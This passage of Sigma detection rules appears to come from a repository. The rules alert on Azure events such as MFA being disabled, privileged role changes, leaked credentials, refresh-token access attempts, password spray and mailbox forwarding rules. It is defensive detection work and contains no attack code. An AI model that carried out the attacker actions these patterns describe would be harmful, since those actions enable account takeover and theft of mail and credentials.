"path": "rules/cloud/azure/audit_logs/azure_priviledged_role_assignment_bulk_change.yml",
"content": "title: Bulk Deletion Changes To Privileged Account Permissions\nid: 102e11e3-2db5-4c9e-bc26-357d42585d21\nstatus: test\ndescription: Detects when a user is removed from a privileged role. Bulk changes should be investigated.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-identity-management#azure-ad-roles-assignment\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-05\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message:\n - Remove eligible member (permanent)\n - Remove eligible member (eligible)\n condition: selection\nfalsepositives:\n - Legtimate administrator actions of removing members from a role\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_privileged_account_creation.yml",
"content": "title: Privileged Account Creation\nid: f7b5b004-dece-46e4-a4a5-f6fd0e1c6947\nstatus: test\ndescription: Detects when a new admin is created.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton\ndate: 2022-08-11\nmodified: 2022-08-16\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message|contains|all:\n - Add user\n - Add member to role\n Status: Success\n condition: selection\nfalsepositives:\n - A legitimate new admin account being created\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml",
"content": "title: Azure Subscription Permission Elevation Via AuditLogs\nid: ca9bf243-465e-494a-9e54-bf9fc239057d\nstatus: test\ndescription: |\n Detects when a user has been elevated to manage all Azure Subscriptions.\n This change should be investigated immediately if it isn't planned.\n This setting could allow an attacker access to Azure subscriptions in your environment.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#assignment-and-elevation\nauthor: Austin Songer @austinsonger\ndate: 2021-11-26\nmodified: 2022-12-25\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: 'Administrative'\n OperationName: 'Assigns the caller to user access admin'\n condition: selection\nfalsepositives:\n - If this was approved by System Administrator.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_tap_added.yml",
"content": "title: Temporary Access Pass Added To An Account\nid: fa84aaf5-8142-43cd-9ec2-78cfebf878ce\nstatus: test\ndescription: Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts#changes-to-privileged-accounts\nauthor: Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'\ndate: 2022-08-10\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n properties.message: Admin registered security info\n Status: Admin registered temporary access pass method for user\n condition: selection\nfalsepositives:\n - Administrator adding a legitimate temporary access pass\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_update_risk_and_mfa_registration_policy.yml",
"content": "title: User Risk and MFA Registration Policy Updated\nid: d4c7758e-9417-4f2e-9109-6125d66dabef\nstatus: test\ndescription: |\n Detects changes and updates to the user risk and MFA registration policy.\n Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-mfa-policy\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities\nauthor: Harjot Singh (@cyb3rjy0t)\ndate: 2024-08-13\ntags:\n - attack.persistence\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n LoggedByService: 'AAD Management UX'\n Category: 'Policy'\n OperationName: 'Update User Risk and MFA Registration Policy'\n condition: selection\nfalsepositives:\n - Known updates by administrators.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_user_account_mfa_disable.yml",
"content": "title: Multi Factor Authentication Disabled For User Account\nid: b18454c8-0be3-41f7-86bc-9c614611b839\nstatus: test\ndescription: |\n Detects changes to the \"StrongAuthenticationRequirement\" value, where the state is set to \"0\" or \"Disabled\".\n Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.\nreferences:\n - https://www.sans.org/blog/defending-against-scattered-spider-and-the-com-with-cybercrime-intelligence/\nauthor: Harjot Singh (@cyb3rjy0t)\ndate: 2024-08-21\ntags:\n - attack.credential-access\n - attack.persistence\nlogsource:\n product: azure\n service: auditlogs\n definition: 'Requirements: The TargetResources array needs to be mapped accurately in order for this rule to work'\ndetection:\n selection:\n LoggedByService: 'Core Directory'\n Category: 'UserManagement'\n OperationName: 'Update user'\n TargetResources.ModifiedProperties.DisplayName: 'StrongAuthenticationRequirement'\n TargetResources.ModifiedProperties.NewValue|contains: \"State\\\":0\"\n condition: selection\nfalsepositives:\n - Legitimate authorized activity.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/audit_logs/azure_user_password_change.yml",
"content": "title: Password Reset By User Account\nid: 340ee172-4b67-4fb4-832f-f961bdc1f3aa\nstatus: test\ndescription: Detect when a user has reset their password in Azure AD\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: YochanaHenderson, '@Yochana-H'\ndate: 2022-08-03\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.credential-access\n - attack.t1078.004\nlogsource:\n product: azure\n service: auditlogs\ndetection:\n selection:\n Category: 'UserManagement'\n Status: 'Success'\n Initiatedby: 'UPN'\n filter:\n Target|contains: 'UPN'\n ActivityType|contains: 'Password reset'\n condition: selection and filter\nfalsepositives:\n - If this was approved by System Administrator or confirmed user action.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_token.yml",
"content": "title: Anomalous Token\nid: 6555754e-5e7f-4a67-ad1c-4041c413a007\nstatus: test\ndescription: Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-token\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow'\ndate: 2023-08-07\ntags:\n - attack.t1528\n - attack.credential-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'anomalousToken'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_user.yml",
"content": "title: Anomalous User Activity\nid: 258b6593-215d-4a26-a141-c8e31c1299a6\nstatus: test\ndescription: Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anomalous-user-activity\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.privilege-escalation\n - attack.t1098\n - attack.persistence\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'anomalousUserActivity'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_anonymous_ip_activity.yml",
"content": "title: Activity From Anonymous IP Address\nid: be4d9c86-d702-4030-b52e-c7859110e5e8\nstatus: test\ndescription: Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#activity-from-anonymous-ip-address\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'riskyIPAddress'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_anonymous_ip_address.yml",
"content": "title: Anonymous IP Address\nid: 53acd925-2003-440d-a1f3-71a5253fe237\nstatus: test\ndescription: Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.\nreferences:\n - https://learn.microsoft.com/en-us/graph/api/resources/riskdetection?view=graph-rest-1.0\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anonymous-ip-address\nauthor: Gloria Lee, '@gleeiamglo'\ndate: 2023-08-22\ntags:\n - attack.t1528\n - attack.credential-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'anonymizedIPAddress'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_atypical_travel.yml",
"content": "title: Atypical Travel\nid: 1a41023f-1e70-4026-921a-4d9341a9038e\nstatus: test\ndescription: Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#atypical-travel\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'unlikelyTravel'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_impossible_travel.yml",
"content": "title: Impossible Travel\nid: b2572bf9-e20a-4594-b528-40bde666525a\nstatus: test\ndescription: Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#impossible-travel\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'impossibleTravel'\n condition: selection\nfalsepositives:\n - Connecting to a VPN, performing activity and then dropping and performing additional activity.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_inbox_forwarding_rule.yml",
"content": "title: Suspicious Inbox Forwarding Identity Protection\nid: 27e4f1d6-ae72-4ea0-8a67-77a73a289c3d\nstatus: test\ndescription: Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-forwarding\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1114.003\n - attack.collection\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'suspiciousInboxForwarding'\n condition: selection\nfalsepositives:\n - A legitimate forwarding rule.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_inbox_manipulation.yml",
"content": "title: Suspicious Inbox Manipulation Rules\nid: ceb55fd0-726e-4656-bf4e-b585b7f7d572\nstatus: test\ndescription: Detects suspicious rules that delete or move messages or folders are set on a user's inbox.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-inbox-manipulation-rules\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1140\n - attack.defense-evasion\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'mcasSuspiciousInboxManipulationRules'\n condition: selection\nfalsepositives:\n - Actual mailbox rules that are moving items based on their workflow.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_leaked_credentials.yml",
"content": "title: Azure AD Account Credential Leaked\nid: 19128e5e-4743-48dc-bd97-52e5775af817\nstatus: test\ndescription: Indicates that the user's valid credentials have been leaked.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#leaked-credentials\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1589\n - attack.reconnaissance\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'leakedCredentials'\n condition: selection\nfalsepositives:\n - A rare hash collision.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address.yml",
"content": "title: Malicious IP Address Sign-In Failure Rate\nid: a3f55ebd-0c01-4ed6-adc0-8fb76d8cd3cd\nstatus: test\ndescription: Indicates sign-in from a malicious IP address based on high failure rates.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-07\ntags:\n - attack.t1090\n - attack.command-and-control\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'maliciousIPAddress'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address_suspicious.yml",
"content": "title: Malicious IP Address Sign-In Suspicious\nid: 36440e1c-5c22-467a-889b-593e66498472\nstatus: test\ndescription: Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malicious-ip-address\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-07\ntags:\n - attack.t1090\n - attack.command-and-control\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'suspiciousIPAddress'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_malware_linked_ip.yml",
"content": "title: Sign-In From Malware Infected IP\nid: 821b4dc3-1295-41e7-b157-39ab212dd6bd\nstatus: test\ndescription: Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#malware-linked-ip-address-deprecated\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1090\n - attack.command-and-control\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'malwareInfectedIPAddress'\n condition: selection\nfalsepositives:\n - Using an IP address that is shared by many users\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_new_coutry_region.yml",
"content": "title: New Country\nid: adf9f4d2-559e-4f5c-95be-c28dff0b1476\nstatus: test\ndescription: Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#new-country\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'newCountry'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_password_spray.yml",
"content": "title: Password Spray Activity\nid: 28ecba0a-c743-4690-ad29-9a8f6f25a6f9\nstatus: test\ndescription: Indicates that a password spray attack has been successfully performed.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#password-spray\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1110\n - attack.credential-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'passwordSpray'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_prt_access.yml",
"content": "title: Primary Refresh Token Access Attempt\nid: a84fc3b1-c9ce-4125-8e74-bdcdb24021f1\nstatus: test\ndescription: Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#possible-attempt-to-access-primary-refresh-token-prt\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-07\ntags:\n - attack.t1528\n - attack.credential-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'attemptedPrtAccess'\n condition: selection\nfalsepositives:\n - This detection is low-volume and is seen infrequently in most organizations. When this detection appears it's high risk, and users should be remediated.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_suspicious_browser.yml",
"content": "title: Suspicious Browser Activity\nid: 944f6adb-7a99-4c69-80c1-b712579e93e6\nstatus: test\ndescription: Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#suspicious-browser\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'suspiciousBrowser'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_threat_intel.yml",
"content": "title: Azure AD Threat Intelligence\nid: a2cb56ff-4f46-437a-a0fa-ffa4d1303cba\nstatus: test\ndescription: Indicates user activity that is unusual for the user or consistent with known attack patterns.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-sign-in\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-user\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-07\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'investigationsThreatIntelligence'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_token_issuer_anomaly.yml",
"content": "title: SAML Token Issuer Anomaly\nid: e3393cba-31f0-4207-831e-aef90ab17a8c\nstatus: test\ndescription: Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#token-issuer-anomaly\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1606\n - attack.credential-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'tokenIssuerAnomaly'\n condition: selection\nfalsepositives:\n - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/identity_protection/azure_identity_protection_unfamilar_sign_in.yml",
"content": "title: Unfamiliar Sign-In Properties\nid: 128faeef-79dd-44ca-b43c-a9e236a60f49\nstatus: test\ndescription: Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#unfamiliar-sign-in-properties\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-03\ntags:\n - attack.t1078\n - attack.persistence\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.initial-access\nlogsource:\n product: azure\n service: riskdetection\ndetection:\n selection:\n riskEventType: 'unfamiliarFeatures'\n condition: selection\nfalsepositives:\n - User changing to a new device, location, browser, etc.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_account_stale.yml",
"content": "title: Stale Accounts In A Privileged Role\nid: e402c26a-267a-45bd-9615-bd9ceda6da85\nstatus: test\ndescription: Identifies when an account hasn't signed in during the past n number of days.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#potential-stale-accounts-in-a-privileged-role\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'staleSignInAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate if potential generic account that cannot be removed.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_invalid_license.yml",
"content": "title: Invalid PIM License\nid: 58af08eb-f9e1-43c8-9805-3ad9b0482bd8\nstatus: test\ndescription: Identifies when an organization doesn't have the proper license for PIM and is out of compliance.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#the-organization-doesnt-have-microsoft-entra-premium-p2-or-microsoft-entra-id-governance\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'invalidLicenseAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate if licenses have expired.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_role_assigned_outside_of_pim.yml",
"content": "title: Roles Assigned Outside PIM\nid: b1bc08d1-8224-4758-a0e6-fbcfc98c73bb\nstatus: test\ndescription: Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-assigned-outside-of-privileged-identity-management\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'rolesAssignedOutsidePrivilegedIdentityManagementAlertConfiguration'\n condition: selection\nfalsepositives:\n - Investigate where users are being assigned privileged roles outside of Privileged Identity Management and prohibit future assignments from there.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_role_frequent_activation.yml",
"content": "title: Roles Activated Too Frequently\nid: 645fd80d-6c07-435b-9e06-7bc1b5656cba\nstatus: test\ndescription: Identifies when the same privilege role has multiple activations by the same user.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-activated-too-frequently\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'sequentialActivationRenewalsAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate where if active time period for a role is set too short.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_role_no_mfa_required.yml",
"content": "title: Roles Activation Doesn't Require MFA\nid: 94a66f46-5b64-46ce-80b2-75dcbe627cc0\nstatus: test\ndescription: Identifies when a privilege role can be activated without performing mfa.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-dont-require-multi-factor-authentication-for-activation\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'noMfaOnRoleActivationAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate if user is performing MFA at sign-in.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_role_not_used.yml",
"content": "title: Roles Are Not Being Used\nid: 8c6ec464-4ae4-43ac-936a-291da66ed13d\nstatus: test\ndescription: Identifies when a user has been assigned a privilege role and are not using that role.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#administrators-arent-using-their-privileged-roles\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'redundantAssignmentAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate if potential generic account that cannot be removed.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/privileged_identity_management/azure_pim_too_many_global_admins.yml",
"content": "title: Too Many Global Admins\nid: 7bbc309f-e2b1-4eb1-8369-131a367d67d3\nstatus: test\ndescription: Identifies an event where there are there are too many accounts assigned the Global Administrator role.\nreferences:\n - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#there-are-too-many-global-administrators\nauthor: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'\ndate: 2023-09-14\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: azure\n service: pim\ndetection:\n selection:\n riskEventType: 'tooManyGlobalAdminsAssignedToTenantAlertIncident'\n condition: selection\nfalsepositives:\n - Investigate if threshold setting in PIM is too low.\nlevel: high\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_account_lockout.yml",
"content": "title: Account Lockout\nid: 2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a\nstatus: test\ndescription: Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.\nreferences:\n - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts\nauthor: AlertIQ\ndate: 2021-10-10\nmodified: 2022-12-25\ntags:\n - attack.credential-access\n - attack.t1110\nlogsource:\n product: azure\n service: signinlogs\ndetection:\n selection:\n ResultType: 50053\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/signin_logs/azure_ad_auth_failure_increase.yml",
